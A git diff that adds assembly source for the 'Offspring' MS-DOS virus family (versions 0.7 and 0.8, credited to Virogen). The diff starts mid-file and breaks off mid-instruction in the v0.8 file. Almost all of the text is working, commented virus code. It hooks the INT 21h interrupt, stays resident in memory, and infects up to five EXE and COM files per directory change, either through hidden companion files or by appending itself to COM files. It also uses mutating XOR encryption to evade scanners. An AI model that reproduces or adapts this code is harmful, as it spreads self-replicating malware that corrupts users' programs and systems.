MOV ES,AX ;Find high memory seg + + PUSH SI + ADD SI,0100H + MOV CX,(OFFSET VEND - OFFSET START) + MOV AX,DS + INC AX + MOV DS,AX + MOV DI,100H ; New location in high memory + CLD + REP MOVSB ; Copy virus to high memory + + POP SI + MOV DS: NEW_SEG,ES ;Save new segment + + PUSH ES + POP DS + XOR AX,AX + MOV ES,AX ; null es + MOV AX,ES: [21H*4+2] + MOV BX,ES: [21H*4] + MOV DS: OLD21_SEG,AX ; Store segment + MOV DS: OLD21_OFS,BX ; Store offset + + CLI + + MOV ES: [21H*4+2],DS ; Save seg + LEA AX,[OFFSET NEW21] + MOV ES: [21H*4],AX ; off + + STI + + NO_INSTALL: + PUSH CS ; Restore regs + POP DS + MOV ES,DS + + RET +INSTALL ENDP + +;------------------------ +; Resident - This is called from the INT 21h handler +;----------------------------- +RESIDENT PROC + + MOV VTYPE,SPAWN + MOV WORD PTR SET_SI,0000 ; SI=0000 on load + MOV BYTE PTR DI_INS,83H ; ADD DI,0 op + MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00 + MOV BYTE PTR INF_COUNT,0 ; null infection count + MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE + +FIND_FIRST: + MOV WORD PTR VEND,0 ; Clear ff/fn buffer + LEA SI, VEND + LEA DI, VEND+2 + MOV CX,22 + CLD + REP MOVSW + + ; Set DTA address - This is for the Findfirst/Findnext INT 21H functions + MOV AH, 1AH + LEA DX, VEND + INT 21H + + MOV AH, 4EH ; Findfirst + MOV CX, 0 ; Set normal file attribute search + MOV DX, FNAME_OFF + INT 21H + + JNC NEXT_LOOP ; if still finding files then loop + JMP END_PROG + + NEXT_LOOP : + CMP VTYPE, PARASTIC ; parastic infection? + JE START_INF ; yes, skip all this + + MOV AH,47H + XOR DL,DL + LEA SI,FILE_DIR + INT 21H + + CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+ + JE OK_FIND ; for spawning infections + JMP FIND_FILE + +OK_FIND: + XOR BX,BX + LM3 : ; find end of directory name + INC BX + CMP FILE_DIR[BX],0 + JNE LM3 + + MOV FILE_DIR[BX],'\' ; append backslash to path + INC BX + + MOV CX,13 ; append filename to path + LEA SI,VEND[F_NAME] + LEA DI,FILE_DIR[BX] + CLD + REP MOVSB + + XOR BX,BX + MOV BX,1EH + + LOOP_ME: ; search for filename ext. + INC BX + CMP BYTE PTR VEND[BX], '.' + JNE LOOP_ME + + INC BX ; change it to COM + MOV WORD PTR VEND [BX],'OC' + MOV BYTE PTR VEND [BX+2],'M' + + +START_INF: + + CMP VTYPE, PARASTIC ; parastic infection? + JE PARASTIC_INF ; yes.. so jump + +;-------------------------------------- +; Spawning infection + + LEA DX, VEND[F_NAME] + MOV AH, 3CH ; Create file + MOV CX, 02H ; READ-ONLY + OR CX, 01H ; Hidden + INT 21H ; Call INT 21H + JNC CONTIN ; If Error-probably already infected + JMP NO_INFECT + CONTIN: + + INC INF_COUNT + MOV BX,AX + + JMP ENCRYPT_OPS +;---------------------------------------- +; Parastic infection + + PARASTIC_INF : + + CMP VEND[F_SIZEh],400H + JGE CONT_INF2 + JMP NO_INFECT + + CONT_INF2: + + LEA SI,VEND[F_NAME] ; Is Command.COM? + LEA DI,COM_NAME + MOV CX,11 + CLD + REPE CMPSB + + JNE CONT_INF0 ; Yes, don't infect + JMP NO_INFECT + + CONT_INF0: + + MOV AX,3D02H ; Open file for reading & writing + LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer + INT 21H + + JNC CONT_INF1 ; error, skip infection + JMP NO_INFECT + + CONT_INF1: + + + MOV BX,AX + + MOV AH,3FH ; Read first five bytes of file + MOV CX,05 + LEA DX,FIRST_FIVE + INT 21H + + CMP WORD PTR FIRST_FIVE,9090H + JNE CONT_INF + MOV AH,3EH + INT 21H + JMP NO_INFECT + +CONT_INF: + INC INF_COUNT + MOV AX,4202H ; Set pointer to end of file, so we + XOR CX,CX ; can find the file size + XOR DX,DX + INT 21H + + ;SUB AX,0100h ; Subtract PSP size + MOV WORD PTR SET_SI,AX ; Change the MOV SI inst. + MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx + MOV BYTE PTR DI_INS,81H ; ADD DI op + + MOV AX,4200H + XOR CX,CX + XOR DX,DX + INT 21H + + MOV AX,VEND[F_SIZEH] + SUB AX,5 + MOV WORD PTR NEW_JMP+1,AX + + + MOV AH,40H + MOV CX,6 + LEA DX,NEW_CODE + INT 21H + + MOV AX,4202H + XOR CX,CX + XOR DX,DX + INT 21H + + +ENCRYPT_OPS: + +;----------------------------- +; Change encryptions ops + + PUSH BX + + MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2 + MOV BX,WORD PTR XCHG_2 + MOV WORD PTR XCHG_1,BX + MOV WORD PTR XCHG_2,AX + MOV AH, BYTE PTR XCHG_1+2 + MOV BH, BYTE PTR XCHG_2+2 + MOV BYTE PTR XCHG_1+2,BH + MOV BYTE PTR XCHG_2+2,AH + +XOR_DONE: + +CHG_TWO: + XOR CX,CX ; CX=0 + LEA DI,SW_BYTE1 ; DI->sw_byte1 + +CHG_REST: + INC ROT_NUM ; increment rotation number + MOV BX,ROT_NUM ; bx=rotation num + MOV AH,OP_SET[BX] ; ah = new op code from set + MOV BYTE PTR [DI],AH + + CMP ROT_NUM,MAX_ROTATION ; max rotation num? + JNE CHG_CNT ; no, chg_cnt + MOV WORD PTR ROT_NUM,0 ; reset rotation num +CHG_CNT: + INC CX ; increment count + CMP CX,1 + LEA DI,M_SW1 + JE CHG_REST + CMP CX,2 + LEA DI,M_SW2 + JE CHG_REST + CMP CX,3 + LEA DI,M_SW3 + JE CHG_REST + CMP CX,4 + LEA DI,SW_BYTE1 + JE CHG_REST + +CHG_THREE: + XOR CX,CX + LEA DI,SW_BYTE3 +CHG_FOUR: + CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'? + MOV BX,1 ; + JE MOV_POS ; Yes, so change it to the second + CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI' + MOV BX,2 ; + JE MOV_POS ; Yes, change it to the third + XOR BX,BX ; Else, must be in final position +MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd) + MOV BYTE PTR [DI+2],90H ; to NOP + MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos. + + CMP BX,2 + JNE NO_CHANGE + INC CX + CMP CX,2 + LEA DI,SW_BYTE4 + JNE CHG_FOUR + +NO_CHANGE: + CMP BYTE PTR TIMES_INC,9 + JE INC_NUM + INC WORD PTR B_WR + INC WORD PTR E_JMP + INC WORD PTR E_JMP + INC TIMES_INC + JMP D2 +INC_NUM: + SUB WORD PTR B_WR,09 + SUB WORD PTR E_JMP,18 + MOV TIMES_INC,0 + +;----------------------- +; Get random XOR number, save it, copy virus, encrypt code + +D2: + + MOV AH,2CH ; + INT 21H ; Get random number from clock - millisecs + + MOV WORD PTR XOR_OP+2,DX ; save encryption # + + + MOV SI,0100H + LEA DI,VEND+50 ; destination + MOV CX,OFFSET VEND-100H ; bytes to move + CLD + REP MOVSB ; copy virus outside of code + + + LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus + CMP BYTE PTR VTYPE, PARASTIC + JNE GO_ENC + ;add di,si + +GO_ENC: + CALL ENCRYPT ; encrypt new copy of virus + +;---------------------------------------- +; Write and close new infected file + + POP BX + MOV CX, OFFSET VEND-100H ; # of bytes to write + LEA DX, VEND+50 ; Offset of buffer + MOV AH, 40H ; -- our program in memory + INT 21H ; Call INT 21H function 40h + + CMP VTYPE, PARASTIC ; parastic? + JNE CLOSE ; no, don't need to restore date/time + + MOV AX,5701H ; Restore data/time + MOV CX,VEND[F_TIME] + MOV DX,VEND[F_DATE] + INT 21H + + +CLOSE: MOV AH, 3EH + INT 21H + + +NO_INFECT: + +; Find next file + FIND_FILE : + + CMP INF_COUNT, MAX_INF + JE END_PROG + MOV AH,4FH + INT 21H + JC END_PROG + JMP NEXT_LOOP + + + END_PROG: + EXIT : + CMP INF_COUNT,0 ; Start parastic infection on next run + JNE FIND_DONE + CMP VTYPE, PARASTIC ; Parastic infection done? + JE FIND_DONE ; yes, we're finished + MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec + MOV VTYPE, PARASTIC ; virus type = parastic + JMP FIND_FIRST + + + FIND_DONE: + MOV VTYPE,SPAWN + MOV FNAME_OFF, OFFSET FNAME1 + RET +RESIDENT ENDP + +END_ENCRYPT: ; Let's encrypt everything up to here +OP_SET DB 90H ; NOP + DB 40H ; INC AX + DB 43H ; INC BX + DB 48H ; DEC AX + DB 4BH ; DEC BX + DB 0FBH ; STI + DB 0FCH ; CLD + DB 4AH ; DEC DX + DB 42H ; INC DX + DB 14 DUP(090H) +;------------------------------------------------ +; Encrypt/Decrypt Routine +;----------------------------------------------- + +ENCRYPT PROC +CX_M DB 0B9H ; MOV CX +B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2 + E2: +SW_BYTE1: ; XOR [di],dx swaps positions with this + NOP +XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly +SW_BYTE3: ; INC DI changes position in these bytes + INC DI + NOP + NOP +SW_BYTE4: ; INC DI changes position in these bytes + INC DI + NOP + NOP +SW_BYTE2: + NOP ; This byte changes into a char in op_set + LOOP E2 ; loop while cx != 0 + + RET + +ENCRYPT ENDP + +VEND DW 0 ; End of virus + +CSEG ENDS + END START diff --git a/MSDOS/Virus.MSDOS.Unknown.osp-07s.asm b/MSDOS/Virus.MSDOS.Unknown.osp-07s.asm new file mode 100644 index 00000000..f9fcd0ae --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.osp-07s.asm @@ -0,0 +1,714 @@ +;------------------------------------------------------------------------- +; ************************************************ +; OFFSPRING v0.7 - BY VIROGEN - 04-26-93 +; ************************************************ +; +; - Compatible with A86 v3.22 +; +; +; DISCLAIMER : Don't hold me responsible for any damages, or the release +; of this virus. Use at your own risk. +; +; TYPE : Parastic Spawning Resident Encrypting (PSRhA) +; +; +; VERSION : BETA 0.7 +; +; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function +; 0Eh (change drive) is called the virus will infect +; up to 5 files in the current directory (the one +; you're coming out of). It will first infect all +; EXE files by creating a corresponding COM. Once +; all EXE files have been infected, it then infects +; COM files. All COM files created by a spawning +; infection will have the read-only and hidden +; attribute. +; +; +; THE ENCRYPION OF THIS VIRUS : +; Ok, this virus's encryption method is a simple +; XOR. The encryption operands are changed directly. +; Also, the operands are switched around, and the +; bytes between them are constantly changed. The +; call to the encryption routine changes, so the +; address can be anywhere in a field of NOPs. +; Not anything overly amazing, but it works. +; +; + TITLE OFFSPRING_1 + .286 +CSEG SEGMENT + ASSUME CS: CSEG, SS: CSEG, ES: CSEG + +SIGNAL EQU 7DH ; Installation check +REPLY EQU 0FCH ; reply to check +CR EQU 0DH ; carraige return +LF EQU 0AH ; line feed +F_NAME EQU 1EH ; Offset of file name in FF/FN buffer +F_SIZEL EQU 1CH ; File size - low +F_SIZEH EQU 1AH ; File size - high +F_DATE EQU 18H ; File date +F_TIME EQU 16H ; File time +MAX_INF EQU 05 ; Maximum files to infect per run +MAX_ROTATION EQU 9 ; number of bytes in switch byte table +PARASTIC EQU 01 ; Parastic infection +SPAWN EQU 00 ; Spawning infection + + ORG 100H ; Leave room for PSP + +;------------------------------------------------------------------ +; Start of viral code +;------------------------------------------------------------------ + +START: + + DB 0BEH ; MOV SI,xxxx - Load delta offset +SET_SI: DW 0000H + +SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on + ; replicated copies. +M_SW1: NOP ; changs into a byte in op_set +XCHG_1 DB 0BFH + DW OFFSET ENC_DATA+2 ; Point to byte after encryption num + ; Switches positions with XCHG_2 +M_SW2: NOP ; changes into a byte in op_set +XCHG_2 DB 090H +ENC_NUM DW 9090H +M_SW3: NOP + +DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx +ADD_DI: DW 9000H ; 00-NOP + +CALL_ENC DB 0E8 ; Call encryption routine - address changes +E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2) + NO_DEC: + JMP MAIN ; Jump to virus code + +;----------------------------------------------- +; Data area +;----------------------------------------------- + +ENC_DATA DW 0000 ; Start of encrypted data +ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET +VTYPE DB 00 ; Spawning or Parastic Infection? +INF_COUNT DB 0 ; How many files we have infected this run +COM_NAME DB 'COMMAND.COM' ; obvious +NEW_CODE DW 9090H ; ID bytes +NEW_JMP DB 0E9H,00,00 ; New Jump +FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf. +ADD_MEM DB 0 ; restore mem size? Yes,No + +ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright +VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *' + DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$' + +FNAME1 DB '*.EXE',0 ; Filespec +FNAME2 DB '*.COM',0 ; Filespec +FNAME_OFF DW FNAME1 ; Offset of Filespec to use +TIMES_INC DB 0 ; # of times encryption call incremented +SL DB '\' ; Backslash for directory name +FILE_DIR DB 64 DUP(0) ; directory of file we infected +FILE_NAME DB 13 DUP(0) ; filename of file we infected +OLD_DTA DD 0 ; old seg:off of DTA +OLD21_OFS DW 0 ; Offset of old INT 21H +OLD21_SEG DW 0 ; Seg of old INT 21h +NEW_SEG DW 0 ; New segment in high mem + +PAR_BLK DW 0 ; command line count byte -psp +PAR_CMD DW 0080H ; Point to the command line -psp +PAR_SEG DW 0 ; seg + DW 05CH ; Use default FCB's in psp to save space +PAR1 DW 0 ; + DW 06CH ; FCB #2 +PAR2 DW 0 ; + +;-------------------------------------------------------------------- +; INT 21h +;--------------------------------------------------------------------- + +NEW21 PROC ; New INT 21H handler + + CMP AH, SIGNAL ; signaling us? + JNE NO + MOV AH,REPLY ; yep, give our offspring what he wants + JMP END_21 + NO: + CMP AH, 3BH ; set dir func? + JE RUN_RES + CMP AH,0EH ; set disk func? + JE RUN_RES + + JMP END_21 + + RUN_RES: + PUSHF + PUSH AX ; Push regs + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH BP + PUSH DS + PUSH ES + PUSH SP + PUSH SS + + PUSH CS + POP DS + + XOR AX,AX ; nullify ES + MOV ES,AX + + CMP ADD_MEM,1 ; Restore system conventional mem size? + JE REL_MEM ; + CMP AH,48H ; alloc. mem block? If so we subtract 3k from + JE SET_MEM ; total system memory. + + JMP NO_MEM_FUNC + + SET_MEM: + SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem + INC ADD_MEM ; make sure we know to add this back + JMP NO_MEM_FUNC + REL_MEM: + ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem + DEC ADD_MEM + + + NO_MEM_FUNC: + MOV AH,2FH + INT 21H ; Get the DTA + + MOV AX,ES + MOV WORD PTR OLD_DTA,BX + MOV WORD PTR OLD_DTA+2,AX + PUSH CS + POP ES + + CALL RESIDENT ; Call infection kernal + + MOV DX,WORD PTR OLD_DTA + MOV AX,WORD PTR OLD_DTA+2 + MOV DS,AX + MOV AH,1AH + INT 21H ; Restore the DTA + + POP SS ; Pop regs + POP SP + POP ES + POP DS + POP BP + POP SI + POP DI + POP DX + POP CX + POP BX + POP AX + POPF + END_21 : + JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h + IRET + NEW21 ENDP ; End of handler + + +;------------------------------------------------------------ +; Main +;----------------------------------------------------------- +MAIN PROC + + MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption + MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H + + MOV AX,DS: 002CH ; Get environment address + MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec + + MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC + MOV [SI+OFFSET PAR2],CS + MOV [SI+OFFSET PAR_SEG],CS + + MOV AH,2AH ; Get date + INT 21H + + CMP DL,14 ; 14th? + JNE NO_DISPLAY + + MOV AH,09 ; Display message + LEA DX,[SI+OFFSET ID] + INT 21H + + NO_DISPLAY: + CALL INSTALL ; check if installed, if not install + + CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC + JE SKIP_THIS + MOV BX,(OFFSET VEND+50) ; Calculate memory needed + MOV CL,4 ; divide by 16 + SHR BX,CL + INC BX + MOV AH,4AH + INT 21H ; Release un-needed memory + + LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE + LEA BX,[SI+OFFSET PAR_BLK] + MOV AX,4B00H + INT 21H + + MOV AH,4CH ; Exit + INT 21H + + SKIP_THIS: + + MOV CX,5 ; Restore original first + ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file + MOV DI,0100H + CLD + REP MOVSB + + MOV AX,0100H ; Simulate CALL return to 0100h + PUSH AX + RET + +MAIN ENDP + +;--------------- +; INSTALL - Install the virus +;-------------- + +INSTALL PROC + + MOV AH,SIGNAL + INT 21H + CMP AH,REPLY + JE NO_INSTALL + + MOV AX,CS + DEC AX + MOV DS,AX + CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in + ;the chain? + JNE NO_INSTALL + + + MOV AX,DS: [3] ;Block size in MCB + SUB AX,190 ;Shrink Block Size-quick estimate + MOV DS: [3],AX + + MOV BX,AX + MOV AX,ES + ADD AX,BX + MOV ES,AX ;Find high memory seg + + PUSH SI + ADD SI,0100H + MOV CX,(OFFSET VEND - OFFSET START) + MOV AX,DS + INC AX + MOV DS,AX + MOV DI,100H ; New location in high memory + CLD + REP MOVSB ; Copy virus to high memory + + POP SI + MOV DS: NEW_SEG,ES ;Save new segment + + PUSH ES + POP DS + XOR AX,AX + MOV ES,AX ; null es + MOV AX,ES: [21H*4+2] + MOV BX,ES: [21H*4] + MOV DS: OLD21_SEG,AX ; Store segment + MOV DS: OLD21_OFS,BX ; Store offset + + CLI + + MOV ES: [21H*4+2],DS ; Save seg + LEA AX,[OFFSET NEW21] + MOV ES: [21H*4],AX ; off + + STI + + NO_INSTALL: + PUSH CS ; Restore regs + POP DS + MOV ES,DS + + RET +INSTALL ENDP + +;------------------------ +; Resident - This is called from the INT 21h handler +;----------------------------- +RESIDENT PROC + + MOV VTYPE,SPAWN + MOV WORD PTR SET_SI,0000 ; SI=0000 on load + MOV BYTE PTR DI_INS,83H ; ADD DI,0 op + MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00 + MOV BYTE PTR INF_COUNT,0 ; null infection count + MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE + +FIND_FIRST: + MOV WORD PTR VEND,0 ; Clear ff/fn buffer + LEA SI, VEND + LEA DI, VEND+2 + MOV CX,22 + CLD + REP MOVSW + + ; Set DTA address - This is for the Findfirst/Findnext INT 21H functions + MOV AH, 1AH + LEA DX, VEND + INT 21H + + MOV AH, 4EH ; Findfirst + MOV CX, 0 ; Set normal file attribute search + MOV DX, FNAME_OFF + INT 21H + + JNC NEXT_LOOP ; if still finding files then loop + JMP END_PROG + + NEXT_LOOP : + CMP VTYPE, PARASTIC ; parastic infection? + JE START_INF ; yes, skip all this + + MOV AH,47H + XOR DL,DL + LEA SI,FILE_DIR + INT 21H + + CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+ + JE OK_FIND ; for spawning infections + JMP FIND_FILE + +OK_FIND: + XOR BX,BX + LM3 : ; find end of directory name + INC BX + CMP FILE_DIR[BX],0 + JNE LM3 + + MOV FILE_DIR[BX],'\' ; append backslash to path + INC BX + + MOV CX,13 ; append filename to path + LEA SI,VEND[F_NAME] + LEA DI,FILE_DIR[BX] + CLD + REP MOVSB + + XOR BX,BX + MOV BX,1EH + + LOOP_ME: ; search for filename ext. + INC BX + CMP BYTE PTR VEND[BX], '.' + JNE LOOP_ME + + INC BX ; change it to COM + MOV WORD PTR VEND [BX],'OC' + MOV BYTE PTR VEND [BX+2],'M' + + +START_INF: + + CMP VTYPE, PARASTIC ; parastic infection? + JE PARASTIC_INF ; yes.. so jump + +;-------------------------------------- +; Spawning infection + + LEA DX, VEND[F_NAME] + MOV AH, 3CH ; Create file + MOV CX, 02H ; READ-ONLY + OR CX, 01H ; Hidden + INT 21H ; Call INT 21H + JNC CONTIN ; If Error-probably already infected + JMP NO_INFECT + CONTIN: + + INC INF_COUNT + MOV BX,AX + + JMP ENCRYPT_OPS +;---------------------------------------- +; Parastic infection + + PARASTIC_INF : + + CMP VEND[F_SIZEh],400H + JGE CONT_INF2 + JMP NO_INFECT + + CONT_INF2: + + LEA SI,VEND[F_NAME] ; Is Command.COM? + LEA DI,COM_NAME + MOV CX,11 + CLD + REPE CMPSB + + JNE CONT_INF0 ; Yes, don't infect + JMP NO_INFECT + + CONT_INF0: + + MOV AX,3D02H ; Open file for reading & writing + LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer + INT 21H + + JNC CONT_INF1 ; error, skip infection + JMP NO_INFECT + + CONT_INF1: + + + MOV BX,AX + + MOV AH,3FH ; Read first five bytes of file + MOV CX,05 + LEA DX,FIRST_FIVE + INT 21H + + CMP WORD PTR FIRST_FIVE,9090H + JNE CONT_INF + MOV AH,3EH + INT 21H + JMP NO_INFECT + +CONT_INF: + INC INF_COUNT + MOV AX,4202H ; Set pointer to end of file, so we + XOR CX,CX ; can find the file size + XOR DX,DX + INT 21H + + ;SUB AX,0100h ; Subtract PSP size + MOV WORD PTR SET_SI,AX ; Change the MOV SI inst. + MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx + MOV BYTE PTR DI_INS,81H ; ADD DI op + + MOV AX,4200H + XOR CX,CX + XOR DX,DX + INT 21H + + MOV AX,VEND[F_SIZEH] + SUB AX,5 + MOV WORD PTR NEW_JMP+1,AX + + + MOV AH,40H + MOV CX,6 + LEA DX,NEW_CODE + INT 21H + + MOV AX,4202H + XOR CX,CX + XOR DX,DX + INT 21H + + +ENCRYPT_OPS: + +;----------------------------- +; Change encryptions ops + + PUSH BX + + MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2 + MOV BX,WORD PTR XCHG_2 + MOV WORD PTR XCHG_1,BX + MOV WORD PTR XCHG_2,AX + MOV AH, BYTE PTR XCHG_1+2 + MOV BH, BYTE PTR XCHG_2+2 + MOV BYTE PTR XCHG_1+2,BH + MOV BYTE PTR XCHG_2+2,AH + +XOR_DONE: + +CHG_TWO: + XOR CX,CX ; CX=0 + LEA DI,SW_BYTE1 ; DI->sw_byte1 + +CHG_REST: + INC ROT_NUM ; increment rotation number + MOV BX,ROT_NUM ; bx=rotation num + MOV AH,OP_SET[BX] ; ah = new op code from set + MOV BYTE PTR [DI],AH + + CMP ROT_NUM,MAX_ROTATION ; max rotation num? + JNE CHG_CNT ; no, chg_cnt + MOV WORD PTR ROT_NUM,0 ; reset rotation num +CHG_CNT: + INC CX ; increment count + CMP CX,1 + LEA DI,M_SW1 + JE CHG_REST + CMP CX,2 + LEA DI,M_SW2 + JE CHG_REST + CMP CX,3 + LEA DI,M_SW3 + JE CHG_REST + CMP CX,4 + LEA DI,SW_BYTE1 + JE CHG_REST + +CHG_THREE: + XOR CX,CX + LEA DI,SW_BYTE3 +CHG_FOUR: + CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'? + MOV BX,1 ; + JE MOV_POS ; Yes, so change it to the second + CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI' + MOV BX,2 ; + JE MOV_POS ; Yes, change it to the third + XOR BX,BX ; Else, must be in final position +MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd) + MOV BYTE PTR [DI+2],90H ; to NOP + MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos. + + CMP BX,2 + JNE NO_CHANGE + INC CX + CMP CX,2 + LEA DI,SW_BYTE4 + JNE CHG_FOUR + +NO_CHANGE: + CMP BYTE PTR TIMES_INC,9 + JE INC_NUM + INC WORD PTR B_WR + INC WORD PTR E_JMP + INC WORD PTR E_JMP + INC TIMES_INC + JMP D2 +INC_NUM: + SUB WORD PTR B_WR,09 + SUB WORD PTR E_JMP,18 + MOV TIMES_INC,0 + +;----------------------- +; Get random XOR number, save it, copy virus, encrypt code + +D2: + + MOV AH,2CH ; + INT 21H ; Get random number from clock - millisecs + + MOV WORD PTR XOR_OP+2,DX ; save encryption # + + + MOV SI,0100H + LEA DI,VEND+50 ; destination + MOV CX,OFFSET VEND-100H ; bytes to move + CLD + REP MOVSB ; copy virus outside of code + + + LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus + CMP BYTE PTR VTYPE, PARASTIC + JNE GO_ENC + ;add di,si + +GO_ENC: + CALL ENCRYPT ; encrypt new copy of virus + +;---------------------------------------- +; Write and close new infected file + + POP BX + MOV CX, OFFSET VEND-100H ; # of bytes to write + LEA DX, VEND+50 ; Offset of buffer + MOV AH, 40H ; -- our program in memory + INT 21H ; Call INT 21H function 40h + + CMP VTYPE, PARASTIC ; parastic? + JNE CLOSE ; no, don't need to restore date/time + + MOV AX,5701H ; Restore data/time + MOV CX,VEND[F_TIME] + MOV DX,VEND[F_DATE] + INT 21H + + +CLOSE: MOV AH, 3EH + INT 21H + + +NO_INFECT: + +; Find next file + FIND_FILE : + + CMP INF_COUNT, MAX_INF + JE END_PROG + MOV AH,4FH + INT 21H + JC END_PROG + JMP NEXT_LOOP + + + END_PROG: + EXIT : + CMP INF_COUNT,0 ; Start parastic infection on next run + JNE FIND_DONE + CMP VTYPE, PARASTIC ; Parastic infection done? + JE FIND_DONE ; yes, we're finished + MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec + MOV VTYPE, PARASTIC ; virus type = parastic + JMP FIND_FIRST + + + FIND_DONE: + MOV VTYPE,SPAWN + MOV FNAME_OFF, OFFSET FNAME1 + RET +RESIDENT ENDP + +END_ENCRYPT: ; Let's encrypt everything up to here +OP_SET DB 90H ; NOP + DB 40H ; INC AX + DB 43H ; INC BX + DB 48H ; DEC AX + DB 4BH ; DEC BX + DB 0FBH ; STI + DB 0FCH ; CLD + DB 4AH ; DEC DX + DB 42H ; INC DX + DB 14 DUP(090H) +;------------------------------------------------ +; Encrypt/Decrypt Routine +;----------------------------------------------- + +ENCRYPT PROC +CX_M DB 0B9H ; MOV CX +B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2 + E2: +SW_BYTE1: ; XOR [di],dx swaps positions with this + NOP +XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly +SW_BYTE3: ; INC DI changes position in these bytes + INC DI + NOP + NOP +SW_BYTE4: ; INC DI changes position in these bytes + INC DI + NOP + NOP +SW_BYTE2: + NOP ; This byte changes into a char in op_set + LOOP E2 ; loop while cx != 0 + + RET + +ENCRYPT ENDP + +VEND DW 0 ; End of virus + +CSEG ENDS + END START diff --git a/MSDOS/Virus.MSDOS.Unknown.ospring.asm b/MSDOS/Virus.MSDOS.Unknown.ospring.asm new file mode 100644 index 00000000..731731c2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ospring.asm @@ -0,0 +1,665 @@ +;------------------------------------------------------------------------- +; ************************************************ +; OFFSPRING v0.8 - BY VIROGEN - 04-26-93 +; ************************************************ +; +; - Compatible with : TASM /m2 +; +; TYPE : Parastic & Spawning Resident Encrypting (PSRhA) +; +; +; VERSION : BETA 0.8 +; +; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function +; 0Eh (change drive) is called the virus will infect +; up to 5 files in the current directory (the one +; you're coming out of). It will first infect all +; EXE files by creating a corresponding COM. Once +; all EXE files have been infected, it then infects +; COM files. All COM files created by a spawning +; infection will have the read-only and hidden +; attribute. +; +; +; THE ENCRYPION OF THIS VIRUS : +; Ok, this virus's encryption method is a simple +; XOR. The encryption operands are changed directly. +; Also, the operands are switched around, and the +; encryption routine switches from using di to si. +; Not anything overly amazing, but it works. +; +; + title offspring_1 + .286 +cseg segment + assume cs: cseg, ds: cseg, ss: cseg, es: cseg + +signal equ 7dh ; Installation check +reply equ 0fch ; reply to check +f_name equ 1eh ; Offset of file name in FF/FN buffer +f_sizel equ 1ch ; File size - low - loc in mem +f_sizeh equ 1ah ; File size - high - loc in mem +f_date equ 18h ; File date - loc in mem +f_time equ 16h ; File time - loc in mem +max_inf equ 05 ; Maximum files to infect per run +max_rotation equ 9 ; number of bytes in switch byte table +parastic equ 01 ; Parastic infection +spawn equ 00 ; Spawning infection + + org 100h ; Leave room for PSP + +;------------------------------------------------------------------ +; Start of viral code +;------------------------------------------------------------------ + +start: + + db 0bdh ; MOV BP,xxxx - Load delta offset + set_bp: + dw 0000 + + skip_dec: + jmp main ; Skip decryption, changes into NOP on + ; replicated copies. + di_op db 0bfh + mov_di dw offset enc_data+2 ; Point to byte after encryption num + ; +;------------------------- +; Encryption/Decryption + +encrypt: +cx_m db 90h,0b9h ; MOV CX +b_wr dw (offset vend-offset enc_data)/2 +xor_loop: + xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly + sw_byte3: ; INC xx changes position in these bytes + inc di + nop + nop + sw_byte4: + inc di + nop + nop + loop xor_loop ; loop while cx != 0 + + ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP + +enc_data: ; Start of encrypted data + +;------------------------------- +; Non-Resident portion of virus +;------------------------------- +main proc + + mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption + + mov ax,ds: 002ch ; Get environment address + mov par_blk[bp],ax ; Save in parameter block for exec + + mov par1[bp],cs ; Save segments for EXEC + mov par2[bp],cs + mov par_seg[bp],cs + + mov ah,2ah ; Get date + int 21h + + cmp dl,9 ; 9th? + jne no_display + + mov ah,09 ; display virus name + lea dx,vname[bp] + int 